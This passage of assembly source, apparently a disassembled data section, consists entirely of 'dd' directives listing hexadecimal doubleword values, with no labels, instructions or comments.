		dd 522D04F8h, 84F27A84h, 83702FC1h, 0AD436052h,	5C5A0E0Ah
		dd 9F02984Ah, 6006DD4Fh, 260DF315h, 1F237A30h, 35130F53h
		dd 0F5776A6Eh, 0AE0BDC94h, 57EB989Eh, 0B82D88B0h, 1A424601h
		dd 1468F001h, 5BDBA2DAh, 2D5D0610h, 185AB5F2h, 25A86942h
		dd 890A62ADh, 0B64D2BFh, 5BDA2858h, 30814101h, 0DF8475D0h
		dd 17C49C13h, 0F85145DCh, 24365FD9h, 79E4FAD7h,	0F89A5BE7h
		dd 458FB180h, 85FAA63Fh, 35AED568h, 0F5C60761h,	0FA12A54Dh
		dd 2FE98178h, 6E47F20Fh, 0E9D08801h, 5D2F5175h,	0A0FAD2E1h
		dd 2D07ADFFh, 7EE421C9h, 0C9536BB2h, 1631C1CAh,	0F2D85E31h
		dd 858BA206h, 85EF9461h, 5DFBB0Eh, 40EFAE40h, 0C3A45E2Dh
		dd 0F109252Dh, 0A95A92F9h, 1A2DF038h, 3B770559h, 30468E68h
		dd 3D0ABD9Eh, 0F7722509h, 0F71A62D5h, 0A77FD39Ah, 0CC313A7Ah
		dd 1304E7Ch, 0B5529A08h, 0F2206716h, 0CA013B1Dh, 0EBAC9597h
		dd 1FB71698h, 0C9732C14h, 0D07C3378h, 0D1D209B9h, 473B85E2h
		dd 0BEE20FE8h, 0AFA6B6D6h, 7C358E00h, 0B0F7297Dh, 0E90880BDh
		dd 43492E8h, 0C23EF168h, 0BE4FC83Ah, 0C65D0765h, 0D11753AAh
		dd 2A46AA4Fh, 313FAC9Dh, 756CE9C9h, 8DF03A1Dh, 0D7F60A26h
		dd 0B04C7FEh, 8642CCE9h, 3F859188h, 2D5F6A25h, 0F1CFA615h
		dd 0F86A935Dh, 4D1C1534h, 3182A4DCh, 50A9DC1Eh,	0B98029ACh
		dd 93591E64h, 80BF933Bh, 12CC05F1h, 114F77Ah, 65072DF8h
		dd 8BBC7B6Ch, 20BA52A1h, 444C9951h, 53350538h, 0CA043629h
		dd 60AF4968h, 4FF4FF6Ah, 52E98D12h, 0E268FA20h,	40F39D3Ch
		dd 35946D96h, 9E09BD4Ah, 930482A0h, 5D6D875Fh, 90ABD1AFh
		dd 0D3E064BDh, 36B2D8E4h, 0CD5D52A2h, 131C100Ah, 7AF32E8Bh
		dd 9E56AB25h, 52F21134h, 16C7BFC4h, 0BE1A83A0h,	8A5B16EEh
		dd 0CFE84B19h, 0A3059380h, 0BB395302h, 36FF80FAh, 0A6F3814Bh
		dd 35D32D5Bh, 0F3551BDFh, 0AF564FDDh, 514E7F45h, 58288EABh
		dd 0BA134A6Ah, 0A98420Ch, 6CF812BFh, 0F7EE008Eh, 76065275h
		dd 0B5BAD7EAh, 0B805BBB0h, 0D4D13F10h, 0FD11D0BFh, 0EE5C895Fh
		dd 0BF362119h, 0AB50124Ah, 0DD351DD1h, 35A3A12Bh, 0BC8D4377h
		dd 3EB01B07h, 76A5198Fh, 6012AE56h, 0ABC724BFh,	5BA99513h
		dd 0A8335013h, 4346A193h, 4F42BD00h, 81115E00h,	7C4935CDh
		dd 0E94D1D65h, 526DE45Fh, 0EB57F357h, 0C20B6873h, 0CA4CD7BEh
		dd 1B944190h, 65AF5E13h, 0AB8AEE5Ch, 0BA7057D3h, 54FFC704h
		dd 6882D0B2h, 0CC66221h, 420E0590h, 654DC780h, 9DE035E7h
		dd 0FDA34A63h, 2B6789B8h, 4594F701h, 0FB2764BDh, 0DE501F02h
		dd 0F34BB05h, 27BC7F5Ch, 0C8258715h, 4B04D333h,	0D550D4D2h
		dd 1090F9FCh, 71B908D7h, 0A5A7AF17h, 6850580Ah,	466BEE25h
		dd 69901FE2h, 2A7B2559h, 114EBE00h, 25214718h, 0CFA5EF1h
		dd 0E727FFFCh, 27D0D6BFh, 0A5F5ADCAh, 4AA5B06h,	164137B5h
		dd 0F7C4950Fh, 0A4525AEh, 80DDE1DBh, 0F12305F3h, 0EB3CC141h
		dd 51E38707h, 9BA9859h,	300C0A3Eh, 9217D201h, 77B208F0h
		dd 0F0805B82h, 0E3A6BFC3h, 0CA2D2691h, 3FEA5D5Bh, 54329985h
		dd 0A44FC8A8h, 0E1EBC5D2h, 41902852h, 813D6E96h, 402BC920h
		dd 0A2955A18h, 7F2A0788h, 0CADD631Ah, 2128844Ah, 6892B840h
		dd 2D3A5317h, 0A4BDA7h,	56DA0D40h, 0E352A2Ch, 77BF4EB8h
		dd 4CEE9EA1h, 0BCB03AF2h, 2C230FBDh, 0F507506Bh, 0FAEFB45Eh
		dd 693B5DF3h, 3C1B33D0h, 49FBBE08h, 0E35F83D0h,	963A84F7h
		dd 0B302EA16h, 0E1150787h, 572CD602h, 0D1148841h, 0F5A744ABh
		dd 0FC21FA9Eh, 0BC2FE468h, 4071C94Ch, 0B0E68087h, 0A5AA5D10h
		dd 1F245224h, 7DDEC05Eh, 3B5472BAh, 49E8535Ah, 1D0BB84Bh
		dd 255D3EA6h, 2B01B0E6h, 29F419C1h, 30D0ED6Bh, 0B951E5B7h
		dd 0D41331A5h, 6C59CD42h, 528C1081h, 9268AC1Fh,	6D6E6142h
		dd 0DACC7A5Eh, 0F83FE57Eh, 0CE508DD9h, 35C41A5h, 0B3095196h
		dd 93FB55D3h, 0F29BA53Dh, 0F6C15C0Dh, 591F1E20h, 2801B15Bh
		dd 0C8305AF1h, 7233D92Ah, 79B48028h, 52DCF6h, 0EAC05AB2h
		dd 0F8F28003h, 98A0D9E7h, 300C0512h, 5AD41C20h,	0EE81E5F6h
		dd 20EC2883h, 0D3811FB1h, 0ED5E3363h, 84FB955Ch, 60BB5A54h
		dd 0A2E9F232h, 0ACE3365Fh, 0A68DFBD2h, 7EB9BE42h, 99446241h
		dd 5AC98100h, 65D42D47h, 0CD3CB171h, 0C05C4CCh,	61468AEFh
		dd 763D9592h, 35E952ECh, 2559854h, 1D1B3AFFh, 70EB3463h
		dd 0DD70EBF4h, 26180FBBh, 182579A4h, 0C6E90D0Bh, 55F4A55Fh
		dd 20C30EE5h, 0F5C11CA1h, 30AC5171h, 0CD4AB658h, 9B5B21BEh
		dd 1926E07h, 687DC8CFh,	0A6205BB7h, 5A4043A1h, 68CD30EFh
		dd 8C930E7Eh, 0C9B72A3Ah, 4E742D79h, 0F2BC294Bh, 0B97D1D27h
		dd 35F05359h, 2D4D99E4h, 551F1277h, 0A0A6797Eh,	9509C08h
		dd 2556EB09h, 943E0359h, 0AB01AF7Eh, 62AD3BE3h,	0B49E6D60h
		dd 0A7FEA6F6h, 0F8A2E5F4h, 0C9BCDB97h, 0C8379655h, 0BE00348Eh
		dd 6C2C0A63h, 0A1D69F01h, 0A5477F4Bh, 6D59712Dh, 78E42181h
		dd 0DFAB4A6Bh, 4A985BBBh, 0C9BBB402h, 55386457h, 172BEC7Eh
		dd 0B5CBEAB4h, 93BA5202h, 0D7603654h, 0FE2E0A64h, 97149144h
		dd 856346BFh, 30A167E9h, 8F149C2Eh, 20E8021Eh, 0A900F052h
		dd 684001C0h, 0D952E9DDh, 38E1FECAh, 13BDA84Bh,	5C62198Bh
		dd 0EC155A10h, 4E0F357h, 29CD4A01h, 0AC313A72h,	0FA88C884h
		dd 0F12D4F62h, 74BB04F6h, 0F38B80BEh, 3125083Bh, 279B5143h
		dd 58AE57D4h, 82B5A058h, 0F666E85Fh, 0CF408223h, 53254A29h
		dd 0D3505046h, 0FF31EA07h, 0F022BB74h, 35F09B02h, 12E05228h
		dd 0C0A4423Ah, 618AD027h, 0A33D80C9h, 0BDC33017h, 0F2ABA465h
		dd 1F49D362h, 0B1DC6B7Bh, 886AB2E8h, 26168A7Eh,	0F90068E5h
		dd 547253Ah, 10D561F7h,	6B4C2A99h, 182239B0h, 0C74784Bh
		dd 0B72F9F08h, 9680579Ch, 0D00AFCBEh, 3F75585Bh, 79D81500h
		dd 5801483Dh, 841B6DEh,	7A48992Bh, 0EC5BF9ACh, 53631512h
		dd 92661097h, 60E38913h, 0E4C381DEh, 0C944204h,	51FC0AE9h
		dd 793E8A4Fh, 9301525Ch, 14B3CA08h, 5825CC01h, 0AA450F05h
		dd 72F5A190h, 0B011F0FEh, 73DDC3ABh, 0A410796Dh, 830F3594h
		dd 650902C3h, 213F8358h, 0E232ADF8h, 0DBF1F7C7h, 2540EC46h
		dd 0CD90D1EEh, 57055150h, 2B7B3ABFh, 0B24780EAh, 1C5ED947h
		dd 5EB37BB0h, 1A8A3AAh,	80D7B652h, 0A17F13C6h, 4C8CC2Fh
		dd 5966EA02h, 0A0F1ADE9h, 804BB6F3h, 5A0D7BF6h,	0ED3A295Eh
		dd 0F50C2F3Dh, 1D96505Ch, 8E5AF328h, 0C41CEFC3h, 0D8236568h
		dd 0A35CF4E4h, 4459C9A8h, 2F617392h, 7E5A0BACh,	8C37010Ch
		dd 396D0C4Fh, 0E9939727h, 0FBDBC440h, 0EE808A80h, 0B6B1F6BEh
		dd 5118835Ah, 2AD72FD2h, 4484A4ACh, 2851E091h, 5BFE2Eh
		dd 0C580F907h, 0CA06C51Fh, 28582F90h, 36DAC8D9h, 7047C2Dh
		dd 54332C51h, 0E94D8889h, 8312732Ah, 0EA91372Eh, 6458DB6Ch
		dd 130D2455h, 0A0D21EB9h, 15E0ED9h, 27508233h, 13464B32h
		dd 0C27514C6h, 0B753249Fh, 96FA1D18h, 8505FA5Bh, 70C298E2h
		dd 3C71FE07h, 1D45E997h, 443B179Eh, 0AAC389F8h,	0DD8620E3h
		dd 0D620C955h, 61B2A2E0h, 0A96EC76Fh, 65FB979Bh, 5E3DB661h
		dd 0E94F20AAh, 98B7EB1Bh
		dd 83149013h, 64F601F5h, 2029FD4Ah, 7F25D3EDh, 0B7097751h
		dd 0CF2500CCh, 0CAED7911h, 0EEA71625h, 6857BA71h, 5F92A46Ah
		dd 0E9FA2904h, 92B49E0Bh, 0BB621EEBh, 97BCCB14h, 3A77F1B2h
		dd 0F9397DF0h, 0F0BF05F1h, 70092144h, 301D910h,	2743621Fh
		dd 1BDDFA9Bh, 60E3CA03h, 9794F90h, 0E5C12D7Ah, 0D5D9FA04h
		dd 5701FE35h, 0D291F141h, 170DF93Ah, 1AA4C7E9h,	0E5708204h
		dd 0B7ED7232h, 0F948C83Bh, 4313978Fh, 0B1F856C2h, 0D2055C9Dh
		dd 649AF955h, 0FCF23D2h, 7EC48055h, 77F22306h, 631F6813h
		dd 50A420EEh, 63BFCFB0h, 5C6D278Ah, 0A8A831DFh,	740F4FADh
		dd 0AE9B9205h, 0A5825135h, 9DCFD8CCh, 68E265D6h, 96FBF49Ch
		dd 5F984967h, 62F2B254h, 9A8F6AECh, 811760Dh, 0AB281A7Eh
		dd 3ECC3B20h, 8EA4D889h, 9CDEAF27h, 14622DD8h, 0B445D53Ah
		dd 2BD6363h, 90FA9D8h, 60955DF6h, 2D6772D9h, 0DF825723h
		dd 59DDE469h, 9C430286h, 425DD738h, 0BDD1FDEEh,	74E1A7B9h
		dd 0F35D7A77h, 0C7F3AF9Dh, 6057C100h, 0E4D73118h, 8708CEFAh
		dd 0B108F78Ah, 7499E908h, 0C1728882h, 6A5886CFh, 8183897Ah
		dd 0C51743E3h, 69C32880h, 6BA1276Ch, 0BA8220D5h, 12785883h
		dd 8AC23114h, 12532E75h, 51D4DC0Ch, 24B3B1EBh, 0AC0B429Fh
		dd 0F5E906DCh, 680C5045h, 12AC73F8h, 75AF66h, 5099586Dh
		dd 892F568Ah, 5A5AE0D6h, 0B2DF5B01h, 6739D774h,	1894E36Bh
		dd 0EDAB8E56h, 0E3FE0715h, 0D2EE01D6h, 1C931DDFh, 32AE89C9h
		dd 25050106h, 440E70A7h, 71EFE4D8h, 0C60125FBh,	3955A844h
		dd 0B4E83BB6h, 5234F6C5h, 0D191BB95h, 0A0149C3Ch, 26B6BD6Dh
		dd 0D692DD27h, 63D372C1h, 0C5E64937h, 0DFB86F7Bh, 0E10FAC4h
		dd 4138C95Bh, 9D2C580Ch, 3512EC60h, 0E4ED6FCEh,	0E205727Fh
		dd 0D61AE975h, 180CE35h, 95F0300Ch, 0C4E930D1h,	890EB7E7h
		dd 4FF73AC0h, 9FB0FE29h, 6D5F0881h, 9BBB856Fh, 0C4078BA9h
		dd 0B20BA03Fh, 0DFF937B4h, 20B9D0A7h, 0C1808D85h, 9CB22FC8h
		dd 768334F7h, 0E6891FC5h, 0F0E8BC82h, 0A6C7BC1Ch, 0EAFC0AB7h
		dd 5C30BC6Bh, 0C7BA5235h, 4E60A9E0h, 9A0C1DD6h,	0CBF49FB6h
		dd 1F1500A6h, 797113B1h, 5F09F48Fh, 0D75AE968h,	716E24Eh
		dd 8BF19CABh, 4F126E9Ch, 0C3F0CD17h, 0E8A84A58h, 0E60BD289h
		dd 2B8517Ch, 82E5A93Fh,	565BCEC0h, 0C9267C9Dh, 0B7BA9455h
		dd 824E5A85h, 800992E5h, 8648EA95h, 0C0514B5Fh,	8C76FC43h
		dd 0E7816D0Fh, 25242411h, 0E475C8EAh, 0FD358716h, 0B87324FCh
		dd 94E0308Dh, 8025484Eh, 5331D02h, 0D7F75393h, 3B948AA2h
		dd 2FCF0E0Bh, 5AEDB288h, 69BCFA14h, 862C1F53h, 3C0A687h
		dd 42E2030Dh, 9762CDAh,	2433FD27h, 58C69800h, 48E92353h
		dd 6998BF37h, 521F4EB8h, 7B8B2D77h, 9DE87DDEh, 49254875h
		dd 0B1CA0914h, 0E43E05D4h, 3E55E9B6h, 0E41760C4h, 15415313h
		dd 2EC84AC4h, 0B93D6280h, 0FD098C3Bh, 316A5AE4h, 0B2A71015h
		dd 27D15B14h, 0D6CB4354h, 0E95A826Ch, 7D9BE109h, 0DAD622D2h
		dd 8F528742h, 0B7A66FE0h, 22A78AEAh, 9CB9FE02h,	0D4680F87h
		dd 5709D817h, 8F995550h, 64DD341Fh, 350B676Eh, 2296FDACh
		dd 978BC420h, 0D3BD914Ch, 0C9E98B25h, 0C3722EFFh, 967C6802h
		dd 0FA944AC5h, 4AA2E712h, 59AE6882h, 3008C55Dh,	7ABCBE1Ch
		dd 0B82A9500h, 9EA99910h, 690782Dh, 3F051DC7h, 0E2B7AC6Fh
		dd 94070FDEh, 0EC944011h, 0AA34638Ah, 0F3D187FBh, 57A9C3D2h
		dd 7C823BD1h, 0E12A6469h, 5CEE556Bh, 0B96589Dh,	0A0B7CC9Dh
		dd 5A485AAEh, 54FF86Eh,	4B0D1AADh, 619935C7h, 0D03F5893h
		dd 0C6C6851h, 5E1BBD14h, 0EDF04C1h, 30A04BC4h, 0DB330105h
		dd 0DE91C01h, 0C9BB8F95h, 6E6CC797h, 1794806Fh,	0B514013h
		dd 49390DB9h, 0D5C18D00h, 0F606A3Bh, 0BE1C34CAh, 1B09823h
		dd 69CB3ABAh, 74091E9h,	0E1182DEh, 43C45592h, 4BA065Bh
		dd 0AFFDAE7Ah, 944B63F2h, 34C9BE6Fh, 828AE020h,	1372440h
		dd 966E393Dh, 0A5AD9B98h, 4AB0C9DEh, 99C83954h,	657AAD02h
		dd 0C5505543h, 21442214h, 7E6326CCh, 5374C341h,	0D892FC5h
		dd 10829076h, 0ABAA4954h, 3D5D1D63h, 8C290212h,	4704F524h
		dd 21960DE7h, 0A5AAFB85h, 1A86C8Dh, 78F85949h, 423205E9h
		dd 151FF95Ah, 58261AE4h, 7A8945EEh, 3D057880h, 0E11A5A14h
		dd 5BCC835Dh, 61D701Eh,	0A9F5E2A6h, 0F99D1C41h,	0B6528485h
		dd 92EDAA7Ah, 0AE2CC317h, 68C4ECCAh, 0C4C7E8B1h, 0E5FBC688h
		dd 6D9A11D6h, 8BA93AA7h, 56C2D39Eh, 0CB32AA01h,	0C7102B80h
		dd 7B9606C5h, 3B9C0E51h, 3503F005h, 183D5E44h, 0DE470115h
		dd 0C701D559h, 89A5B33Fh, 0B53CD0D6h, 0D842A776h, 96B275DEh
		dd 7BDD1A41h, 0E7BA66C4h, 7F5CC9CBh, 0AE081BE5h, 0A2DD25D8h
		dd 0F719687Ch, 3AB1FE66h, 0F1F14C09h, 7F680BA7h, 8333D811h
		dd 4DEF8731h, 0FD269F31h, 3A4F5808h, 0EE19B712h, 0A532B409h
		dd 52E85BD0h, 16364E01h, 0A87EBB0Ch, 1CB8DC0Bh,	2BED4B7h
		dd 9E20C3FBh, 12976D41h, 0BA6B57EBh, 0B75439DAh, 0DBBB2D03h
		dd 936CE77h, 57CB3731h,	8A058FEh, 0B55B82BFh, 0E35155A3h
		dd 81CA8003h, 0D1BA9CFEh, 49DB73A3h, 0A40CE411h, 0DC32E6A9h
		dd 7F95A523h, 919F5496h, 842F9133h, 2704E6BEh, 4EF6115Bh
		dd 0EB801986h, 0E2120671h, 701DD328h, 494AEF68h, 93C2C44Dh
		dd 540B26Eh, 50D65B6Fh,	0F001CC90h, 0AB0AA205h,	88FB7450h
		dd 3012F892h, 0BEAF53BEh, 0CA7B5099h, 44B210CDh, 24772901h
		dd 3B1E685Eh, 0A34C24F3h, 0B1628D25h, 4B537355h, 0BA208652h
		dd 0FCCF80CFh, 0F644E020h, 0F39BD33Dh, 0CFBBD25Dh, 69D04870h
		dd 0F50B5DA1h, 0FA85056h, 77DEAB5h, 13283EF6h, 71360159h
		dd 603B6E30h, 5805A61Eh, 0C8E90774h, 0AFB752BFh, 0D7521249h
		dd 895A5748h, 1DD65D98h, 0D5B1B5FCh, 0CFF93DE3h, 0A2998ADFh
		dd 91827549h, 0F50B8CA4h, 0DFE68B44h, 0F802874Ah, 40AC0177h
		dd 4BF69Bh, 544F5D5h, 16E7201Eh, 422DF1A1h, 0C5605E07h
		dd 8754B4E9h, 4F03F1A1h, 41114E69h, 63D1D451h, 0F33AF767h
		dd 0A1281AAAh, 72C95F85h, 91097D7h, 0BF1FAE0h, 3FCD7DA1h
		dd 4202225Dh, 0DFDB4AC9h, 0D9DF16A7h, 3E226575h, 0F238D399h
		dd 0EACC3B56h, 8D9C5C82h, 5EA037E2h, 466E0A77h,	226CF0EDh
		dd 18627530h, 61133CC5h, 0C1D10C70h, 90F5E6A8h,	4E84E948h
		dd 30B9F405h, 28BDE5E5h, 0BFB24EB4h, 2584F697h,	624E545Fh
		dd 0BB6A88E9h, 745A54C0h, 0B4BE6286h, 0AF57472Fh, 39CC6233h
		dd 0E04DF16h, 0F1A2BF89h, 0BC54298Bh, 0EB74FCCBh, 84904878h
		dd 200E1A1Dh, 0C5A4686Fh, 94FC643Ah, 13F0ACDCh,	2BE0EB5h
		dd 61E56813h, 0B10B0DF1h, 0E50E55A1h, 0F161DE4Eh, 41C828F9h
		dd 2FE070DDh, 0BFEA1298h, 0D9FF8542h, 0B1E9610Ch, 0F6C950F3h
		dd 2A2DC5C9h, 7A3B5006h, 0E6CD0445h, 0E1690C61h, 555790Eh
		dd 1DE0FD6Ch, 0AD149F0h, 13E668E3h, 0E4B98253h,	0E480202Eh
		dd 27CB5BE9h, 8E5E6A75h, 35CADB5Eh, 5E313EB0h, 807A52E0h
		dd 247AC47Dh, 2E1C3B40h, 2837F90Dh, 5D5218AAh, 2586845Ah
		dd 42C93Bh, 0A165ADE5h,	6FAAE919h, 0E1C255A0h, 60DD1338h
		dd 2648BD43h, 36304Ah, 1C97439Fh, 4498CF29h, 38F60882h
		dd 4F009EC5h, 2A572DCFh, 54FEBD3Ah, 697EFB8Eh, 678D5F1Fh
		dd 0AFCB2BE4h, 0BB4EBB4Ch, 5479F33Dh, 9C73C10h,	825EF129h
		dd 7717D462h, 9CA1D5C4h
		dd 986800C3h, 1254930Ch, 13128802h, 62E26C12h, 0F13424FDh
		dd 5E0B0CFAh, 51B55C9Bh, 99CDE2D8h, 102BB900h, 4B2F7A84h
		dd 0FF1A9736h, 32757923h, 716D0C05h, 0BF0059CCh, 18AD35D6h
		dd 76825E9h, 0F67D0518h, 899879B7h, 0DC5226CCh,	9C77D204h
		dd 5E91093Eh, 5307FB5Eh, 0A028524h, 413988BAh, 0C2F38019h
		dd 187203B4h, 0F977E92Dh, 19FD589h, 1FE0680Fh, 0FECB352Ch
		dd 0C7E229F7h, 0A1B812C5h, 7B97E4Eh, 0A084152Dh, 4E44BF2Dh
		dd 89AF5655h, 0D3C9DFC0h, 3ECC2B30h, 0B9BA4948h, 8118578Bh
		dd 469D0C08h, 0B8B7200Eh, 0F3FE52B0h, 32B8EA4Bh, 65354786h
		dd 1AB5A4B7h, 5273ABA1h, 0EA28BF5Bh, 0BBE912DAh, 98CFBEE8h
		dd 0EB847C18h, 5012FD68h, 5A00265Bh, 2934CAE7h,	76E92F69h
		dd 0DBAC9561h, 634A0393h, 2CAFCABFh, 0BA01A659h, 892865CCh
		dd 53146B6Dh, 0AF20E354h, 0CA5D89A2h, 5651FD16h, 8CCE2ABEh
		dd 0F0B25227h, 4CDCB797h, 0BF0BD0A8h, 0F06F2C34h, 321C138Ah
		dd 9A1E04DAh, 92BB168Dh, 0C5555BA7h, 66E90EC2h,	5BACC852h
		dd 0D44AC3F2h, 0B800AAB3h, 1FF449F2h, 0D126D0F7h, 3B1248E0h
		dd 0B75D8AB0h, 23F0CD8Bh, 686172B1h, 0AB28186Fh, 7A68818Dh
		dd 0A9A892D4h, 0C9C86216h, 11BF3D3Eh, 0E52883B7h, 0B81DFEA3h
		dd 64C29749h, 0BE5F04F8h, 0BE4BB1E9h, 71EE9C01h, 0CB7E218Eh
		dd 0B27E10C1h, 8C23FA5Eh, 5F672784h, 0F784BA76h, 0D0C02219h
		dd 5A286905h, 0BD7947Fh, 315F5F07h, 45A462B9h, 26F102A4h
		dd 0AE5C2C9Ch, 80174117h, 0E5F8A816h, 31BF57C0h, 1E129D18h
		dd 34C56AE9h, 0BA7505BBh, 0C434BFEAh, 0C303B0FAh, 0EBC07013h
		dd 0D27F1604h, 0C5FD5D0Bh, 2BE9411Dh, 51B92F9Eh, 0D0A6809h
		dd 20E16D5h, 18BAEB81h,	8155295Fh, 1153010h, 1AEFD46Eh
		dd 14091C08h, 5697B17Dh, 0BA0B757Bh, 1FD16763h,	0C08059EDh
		dd 68CBFEEBh, 489239BDh, 97910D29h, 194397BEh, 719BCCh
		dd 0B94F8165h, 0B07E9A90h, 45E0A6A0h, 0E958FB0Bh, 2D0AA449h
		dd 83B6D5ABh, 0DF0242E3h, 0CB55F4F1h, 39507C0Dh, 0BAECE2FFh
		dd 0E5519D93h, 1C585769h, 3A266EE6h, 0CF39BF89h, 0B6EB2AC4h
		dd 0E5507FADh, 6D163180h, 0C90C494Eh, 5B010D2Dh, 0C1F6FDF5h
		dd 746F42B7h, 92B161FEh, 9FD6E82Fh, 15E8710h, 0DB6856E7h
		dd 0DE92510Fh, 0E985058Eh, 0DDBCC605h, 9F1AF2EEh, 2A5ACE7Ch
		dd 0C5E3FF98h, 2BC506E1h, 6F781DF9h, 0B12530Fh,	10DE265Bh
		dd 7865D551h, 0A7C2F43Eh, 7815431Fh, 56A55749h,	4DC78739h
		dd 16A3018h, 0A37868CFh, 82053493h, 80BE3564h, 12396623h
		dd 0F61534Fh, 4F8F964Fh, 0F404C789h, 4834F2A1h,	407D169Bh
		dd 5580FBE8h, 0EF73DCBDh, 28987B62h, 7EC8C28Ch,	0F8242F66h
		dd 0C58FE4F1h, 3E232204h, 0DFEC5A51h, 225B2C9h,	6CD1BF5Ch
		dd 34A78177h, 0B1A03AEDh, 0FE5A0B9Dh, 2A5C59A4h, 1D51413Dh
		dd 0E97EF1F6h, 1E20133Fh, 0C8108DF3h, 41E91375h, 0CBAFAF84h
		dd 9F884E87h, 31814E1Fh, 6D8F66CBh, 9102257Ah, 5AF5552Fh
		dd 87E85DFDh, 812AFBFDh, 6D3073D8h, 0CBEA05A4h,	0CF00026Ch
		dd 91E45C2h, 0FA013423h, 1C081A1Ch, 512B140Eh, 6841CDFCh
		dd 0BFB84CE7h, 521C9420h, 0F00B1DB6h, 17D2785Ah, 0FAC7FECEh
		dd 1BFF912h, 8829EF09h,	653071FAh, 88137B71h, 0E12307FFh
		dd 0A2D3D3C4h, 0FEBD1A27h, 545BA895h, 944DE0A0h, 80632BFh
		dd 34D6847Dh, 2CAE04ABh, 50C418FDh, 0AF9E27FBh,	82555F0Bh
		dd 578FD86Eh, 2E3FC6E7h, 7BA50C79h, 3F78AF25h, 6EDF952Dh
		dd 90B72075h, 0C75FDB98h, 894B69A8h, 7EDA6811h,	5012ED90h
		dd 38C1DF63h, 0FA54CEEh, 0D9754042h, 0D078C5D3h, 76F6BB79h
		dd 0C414D52Ch, 0B974B6B0h, 0ABFB5C7Fh, 586EE631h, 0D5B27B30h
		dd 9BBD3118h, 3C258EBBh, 14B77663h, 0E4099DB3h,	18FE20E9h
		dd 1329F281h, 0F47F12B8h, 42E2EAA1h, 0C6C9E37h,	790D1830h
		dd 0BDB7FEE9h, 1BB327B8h, 5BDD2803h, 9975CD80h,	0EBE518F5h
		dd 5EC30060h, 9161EA95h, 757B5E2Ah, 90EBB2A0h, 62CDC984h
		dd 54E7F5E3h, 590FFE27h, 0D17DD23Ch, 678452D8h,	714B1DCAh
		dd 6E77D7Fh, 422E422Dh,	6E7DF59h, 47DF6884h, 71831EFh
		dd 0E92CCC0Fh, 6880962Dh, 3D779264h, 0EB9B0174h, 0B6589719h
		dd 355194F2h, 45867726h, 0F830D277h, 81A693F6h,	2914607Dh
		dd 43115EB9h, 1C115C48h, 189238E7h, 0E908A0ABh,	28CB4C37h
		dd 98FFD005h, 0C352309Dh, 17384D3h, 455A95E3h, 0BAF491F9h
		dd 6F859BA2h, 576791EFh, 0D1F5E320h, 0AF8C68C5h, 0FC3EF2D3h
		dd 701BA5Ah, 1A1885BAh,	5B72A726h, 1425BF44h, 0A89E7590h
		dd 0B1BDBBDh, 77FE317Ah, 97E8C62h, 693D8E57h, 2D7D00F3h
		dd 0B87FBB36h, 0B8ABC050h, 42183898h, 0C7AFC2F5h, 813F6DECh
		dd 4C48DAC1h, 8B3E2D0Dh, 5C741709h, 3D6B6DC3h, 0CD4A6835h
		dd 395759F3h, 0DC945F6Eh, 68C193AAh, 7D242183h,	0DFADDBBBh
		dd 2060DE16h, 2505B867h, 0E0024E41h, 740A963h, 85165A68h
		dd 0EC9BBB32h, 444BA5Ah, 0BD00C2AEh, 570E46EEh,	290BDAB0h
		dd 5C24521Bh, 372B40F3h, 749F36D9h, 0F4D97C4h, 7D84F036h
		dd 3EDC061h, 131C6E24h,	0D92DF2E9h, 52C2AFE9h, 6272E207h
		dd 72C0672Ah, 9F255C23h, 693DA3Eh, 5474E1E5h, 84348432h
		dd 0F1D4BA44h, 0B5D8BCAFh, 49044853h, 37AB1815h, 89B092CFh
		dd 0DFF5E2A3h, 5B66FCD8h, 4BE06817h, 54A05634h,	0CB250A48h
		dd 14D28F78h, 8B5A0830h, 7D5F12EAh, 90B6FDE4h, 749B0C5h
		dd 0BD7AE2CAh, 0C7A16E35h, 3016065Bh, 484E0EBDh, 2625EDECh
		dd 0AE66F284h, 0B9E554F8h, 8B909F73h, 3B50B62Dh, 958DB85Bh
		dd 2C7AAC6Ah, 0B901CAADh, 1B746B83h, 2F0CBC3Fh,	68BD0143h
		dd 312F1D23h, 3B7F4EECh, 0F2EF854Eh, 296C7705h,	239DC4C1h
		dd 0D5C8B23Bh, 0E9EFC1C0h, 81002F4Dh, 6A0F9BCEh, 86462136h
		dd 5A99D4A4h, 5252F051h, 1BE5D03h, 0D27DC3BFh, 40FF2B28h
		dd 0E01BF1C2h, 0C801146Fh, 0D14E072Dh, 3CA05066h, 0ADA0D227h
		dd 0E1FD82C5h, 97750DE8h, 0B810D70Eh, 0E1717B93h, 1A26051Dh
		dd 919F181h, 0C84679Eh,	0C1BA0DDCh, 6BFAC6BCh, 4414CFD0h
		dd 5D6E3E62h, 613DE013h, 8EF0222Fh, 216EC257h, 0D2F769EDh
		dd 97B9E62h, 0E0E349C0h, 9C95825Dh, 515C0103h, 87916F50h
		dd 373F5BD8h, 0B2C2B659h, 5F769592h, 687C2935h,	0C9B5D504h
		dd 41F9BACDh, 0FC57A034h, 0CE5653Fh, 21B7AB54h,	0AD705A7Fh
		dd 73FB0471h, 848139B9h, 9B68624Eh, 468C06C1h, 0E99630C6h
		dd 5F0A7538h, 0AEB5F9E9h, 63D64488h, 505F7F7Bh,	4AFFADC4h
		dd 0FD4529ABh, 0D5407B18h, 0FC767EC6h, 0EC014A3Fh, 2F084153h
		dd 0E7C6F2D8h, 0AEF4AE28h, 0AF16EDDAh, 86EB4C8Ah, 72768A1h
		dd 3F69D30Ah, 5F389090h, 0F7052CACh, 64A73396h,	0E26414CCh
		dd 4CF96371h, 8ABA1EB4h, 0C3E05078h, 17D36648h,	0CDAF8543h
		dd 0D42B441Bh, 10E3062Ch, 0A20B2197h, 0F112090Eh, 0F5A63F26h
		dd 0E0BB815Ah, 6A5A4F3Ch, 96005FE1h, 5AE54E2Ch,	0EFB0827Eh
		dd 5350607Eh, 9E99FA56h, 0B2D627F5h, 2D788BC7h,	5889C3FCh
		dd 8B92D55Dh, 48D7E542h, 5B9AE950h, 0F03CAB9Dh,	0E5EA4A32h
		dd 0DEB56FB8h, 47A39D00h, 4A3C24A1h, 71410080h,	0BF5739B4h
		dd 0C9EAA20Bh, 718BFD19h, 2DC4F871h, 842795AAh,	0F24AD5F6h
		dd 0EB1392A8h, 2EBA6985h, 21881896h, 1D8AC51Fh,	814FD85Fh
		dd 8906A7CDh, 15188E0Eh
		dd 2BD10BA8h, 0C1FF7C34h, 6CFEE9C6h, 0CE0B7403h, 0DD15B551h
		dd 0D0BE4904h, 0B2F280E7h, 0F14BF290h, 0D44F84F7h, 0B2CBA49Bh
		dd 0D720C302h, 0F5967EE9h, 5779A7BAh, 247A2D08h, 2DFC21ECh
